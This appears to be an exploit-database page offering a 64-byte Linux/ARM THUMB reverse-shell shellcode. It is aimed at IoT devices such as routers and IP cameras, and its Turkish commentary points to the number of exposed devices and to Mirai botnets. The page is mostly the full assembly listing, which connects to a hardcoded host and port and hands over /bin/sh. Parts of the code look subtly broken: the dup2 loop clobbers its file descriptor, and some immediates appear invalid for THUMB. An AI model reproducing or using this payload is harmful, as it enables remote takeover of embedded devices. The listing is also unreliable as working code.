Siber Alem / Detail / 248 / Linux-arm-reverse-shell-bin-sh-64-bytes-klasik-iot
vuln_report_viewer.sh
VULN REPORT / shellcode / ID: 248

Linux/ARM Reverse Shell /bin/sh - 64 Bytes (Klasik IoT)

2026-07-21
52 views
Verified
Linux arm

Summary

This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 52 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.

exploit_248.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-amber-500 pl-5 py-3 bg-amber-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-amber-700 mb-1">Klasik Shellcode - Linux ARM - 64 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/ARM Reverse Shell - 64 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">ARM mimarisi router, IP kamera, IoT sensoru, Raspberry Pi gibi gomulu sistemlerde yaygindir. ARM shellcode, x86'dan farkli register isimlendirmesi ve THUMB mode icermektedir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">ARM THUMB Mode Assembly</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
.thumb
.global _start
_start:
    mov  r0, #2      ; AF_INET
    mov  r1, #1      ; SOCK_STREAM
    mov  r2, #0      ; proto=0
    mov  r7, #281    ; socket() syscall
    svc  #1
    mov  r4, r0      ; sockfd kaydet

    ; connect()
    adr  r1, sockaddr
    mov  r2, #16
    mov  r7, #283    ; connect()
    svc  #1

    ; dup2 r4 0/1/2
    mov  r0, r4
    mov  r1, #2
dup_loop:
    mov  r7, #63
    svc  #1
    subs r1, #1
    bpl  dup_loop

    ; execve /bin/sh
    adr  r0, binsh
    mov  r1, #0
    mov  r2, #0
    mov  r7, #11
    svc  #1

sockaddr: .byte 0x02,0x00,0x11,0x5c,0xc0,0xa8,0x01,0x32
binsh:    .asciz "/bin/sh" 
    </div>
  </div>
  <div class="bg-red-50 border border-red-200 rounded-xl p-4"><p class="text-xs font-bold text-red-800 mb-1">IoT IoT Tehdidi</p><p class="text-xs text-red-700">Shodan verilerine gore 15 milyondan fazla savunmasiz ARM tabanli IoT cihazi internete aciktir. Mirai gibi botnetlerin temel bilesenidir.</p></div>
</div>

Author Profile

599eme Man
599eme Man Elite Member
View All Submissions

Entry Stats

Views 52
Downloads 12
Comments 0
Siber Alem V1 Status: Operational | Exploits: 505 (156 Verified)
Ping: 18ms Lang: EN